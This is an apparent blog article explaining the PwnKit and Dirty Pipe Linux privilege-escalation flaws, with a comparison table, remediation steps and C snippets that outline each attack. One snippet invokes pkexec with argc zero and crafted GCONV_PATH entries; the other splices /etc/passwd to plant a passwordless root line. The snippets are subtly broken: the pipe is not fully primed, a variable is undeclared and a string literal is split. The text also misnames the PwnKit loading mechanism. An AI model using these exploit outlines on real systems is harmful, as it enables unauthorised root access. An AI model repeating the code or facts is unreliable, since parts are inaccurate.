1. The Era of Universal Linux Local Privilege Escalation
Between 2021 and 2022, security researchers uncovered two remarkable local privilege escalation (LPE) vulnerabilities that affected virtually every Linux server on earth. PwnKit (CVE-2021-4034) was a memory corruption flaw in Polkit's pkexec that had existed unnoticed in every major distribution since May 2009. Months later, Dirty Pipe (CVE-2022-0847) revealed that unprivileged users could overwrite read-only page cache files — including system binaries and /etc/passwd — due to an uninitialized flag in Linux kernel pipe buffers.
2. Vulnerability Comparison Matrix
| Vulnerability | CVE ID | CVSS | Vulnerable Layer | Impact |
|---|---|---|---|---|
| PwnKit | CVE-2021-4034 | 7.8 | Polkit pkexec SUID Binary |
Instant, reliable unprivileged local root on any Linux install |
| Dirty Pipe | CVE-2022-0847 | 7.8 | Linux Kernel 5.8 – 5.16.11 (Pipe Buffers) | Arbitrary overwrite of read-only page cache files |
3. PwnKit (CVE-2021-4034): Out-of-Bounds Environment Injection
The pkexec binary is installed with the SUID-root bit set, allowing authorized users to execute commands with elevated permissions. When main(int argc, char **argv) runs in C, argc represents the number of command line arguments.
If an unprivileged process invoked pkexec with an empty argv array (i.e. argc = 0), the argument parsing loop read out of bounds into the environment variables array (envp). By manipulating environment variables, an attacker could force pkexec to load an insecure GIOProvider shared library from an arbitrary path, yielding an instant root shell without entering a password:
// Conceptual PwnKit invocation with argc = 0
char *argv[] = { NULL };
char *envp[] = {
"pwnkit",
"PATH=GCONV_PATH=.",
"CHARSET=PWNKIT",
"SHELL=pwnkit",
NULL
};
execve("/usr/bin/pkexec", argv, envp);
4. Dirty Pipe (CVE-2022-0847): Splicing into Read-Only Memory
Dirty Pipe stemmed from a flaw in how the Linux kernel managed the PIPE_BUF_FLAG_CAN_MERGE flag across pipe buffers. By utilizing the splice() system call to pipe data from a read-only file (like /etc/passwd) into a pipe without initializing the merge flag, an unprivileged user could write arbitrary bytes directly into the kernel's memory page cache for that file:
// Dirty Pipe: Overwriting the root password line in /etc/passwd cache
int p[2];
pipe(p);
// Fill and drain pipe to set CAN_MERGE flag
write(p[1], "A", 1);
char c;
read(p[0], &c, 1);
// Splice target read-only file into pipe
int fd = open("/etc/passwd", O_RDONLY);
splice(fd, &offset, p[1], NULL, 1, 0);
// Write malicious password hash string directly into cached file
write(p[1], "root:nopasswd_hash:0:0:root:/root:/bin/bash
", 44);
5. Remediation & Hardening Blueprint
- Immediate Workaround for PwnKit: Remove SUID permissions on
pkexec:chmod 0755 /usr/bin/pkexec - Dirty Pipe Fix: Upgrade the Linux kernel to versions 5.16.11, 5.15.25, 5.10.102, or higher.
- Kernel Hardening: Restrict unprivileged user namespaces and enforce
nosuidmount options on all temporary storage directories (/tmp,/var/tmp,/dev/shm).
Suggested & Related Reading
Explore related engineering guides from Kenneth D'Silva:
-
Performance Optimization
Tuning the frontend for core web vitals and fast loading.
-
Security Hardening Checklist
Essential production server and application hardening.
-
Why SEO Matters in E-commerce
Search intent, crawlability, and conversion optimization.